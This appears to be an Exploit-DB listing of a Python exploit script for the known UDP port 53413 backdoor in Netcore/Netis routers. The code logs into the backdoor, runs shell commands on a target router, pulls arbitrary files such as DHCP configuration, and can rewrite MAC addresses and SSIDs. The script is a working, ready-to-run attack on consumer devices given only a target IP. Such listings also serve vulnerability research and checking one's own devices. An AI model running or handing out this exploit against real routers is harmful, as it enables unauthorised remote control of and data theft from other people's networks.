Netcore / Netis Routers – UDP Backdoor Access

  • 作者: nixawk
    日期: 2016-12-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43387/
  • #!/usr/bin/python
    # -*- coding: utf8 -*-
    
    # NETCORE / NETDIS UDP 53413 BACKDOOR
    # https://netisscan.shadowserver.org/
    # http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
    # https://www.seebug.org/vuldb/ssvid-90227
    
    import socket
    import struct
    import logging
    
    
    logging.basicConfig(level=logging.INFO, format="%(message)16s")
    
    
    def create_udp_socket(timeout=10):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)
    
    return sock
    
    
    def send_netcore_request(sock, host, port, data):
    HEAD = "\x00" * 8
    data = HEAD + data
    sock.sendto(data, (host, port))
    
    
    def recv_netcore_response(sock, buffsize=512):
    try:
    resp = None
    addr = None
    resp, addr = sock.recvfrom(buffsize)
    except Exception as err:
    logging.debug('[-] %s' % err)
    finally:
    return resp, addr
    
    
    def do_mptlogin(sock, host, port):
    """
    login netcore backdoor
    """
    
    netcore_response = []
    netcore_commands = ['netcore', '?']
    for command in netcore_commands:
    send_netcore_request(sock, host, port, command)
    resp, addr = recv_netcore_response(sock)
    
    if resp and resp not in netcore_response:
    netcore_response.append(resp)
    
    response_string = ",".join(netcore_response)
    if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
    return (True, netcore_response)
    
    return (False, netcore_response)
    
    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
    #'\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']
    
    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
    #'\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
    #'IGD MPT Interface daemon 1.0\x00']
    
    # ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']
    
    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
    # sh: netcore: not found
    # sh: /etc/services: Permission denied
    
    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
    
    # First Login: 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
    # Second Login : IGD MPT Interface daemon 1.0
    
    
    def do_mptfun(sock, host, port, cmdstring):
    """
    Usage: $Help
    Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
    Usage: $WriteRegion <region> <wlan1|wlan3>
    Usage: $ReadRegion <wlan1|wlan3>
    Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>
    
    DESCRIPTION:
    wlan1:2.4G main AP
    wlan2:2.4G Multiple AP
    wlan3:5G Main AP
    wlan4:5G Multiple AP
    region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
    """
    
    send_netcore_request(sock, host, port, cmdstring)
    resp, addr = recv_netcore_response(sock)
    
    if resp:
    return (True, resp)
    
    return (False, resp)
    
    
    do_syscmd = do_mptfun
    
    
    def do_getfile(sock, host, port, filename):
    buffsize = 0x408# buff size to read
    datasize = 0x408# data size from socket
    
    contents = []
    
    u1, u2, u3, u4 = 0, 1, 0, 0
    
    HEAD = struct.pack('>H', u1)
    HEAD += struct.pack('>H', u2)
    HEAD += struct.pack('>H', u3)
    HEAD += struct.pack('>H', u4)
    
    data = HEAD + filename
    sock.sendto(data, (host, port))
    
    while buffsize == datasize:
    data, addr = recv_netcore_response(sock, buffsize=buffsize)
    
    if not data:
    break
    
    datasize = len(data)
    
    u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
    contents.append(data[8:])
    
    u2 = 5
    
    HEAD = struct.pack('>H', u1)
    HEAD += struct.pack('>H', u2)
    HEAD += struct.pack('>H', u3)
    HEAD += struct.pack('>H', u4)
    sock.sendto(HEAD, (host, port))
    
    data = "".join(contents)
    if contents:
    return True, data
    
    return False, data
    
    
    def do_putfile():
    pass
    
    
    def check(host, port=53413):
    sock = create_udp_socket(timeout=8)
    is_login, resp = do_mptlogin(sock, host, port)
    print(is_login, resp)
    if is_login:
    print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))
    
    # bool_ret, resp = do_mptfun(sock, host, port, '$help')
    # print(resp)
    
    # bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
    # print(resp)
    
    bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')
    
    sock.close()
    
    
    if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
    print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
    else:
    check(sys.argv[1])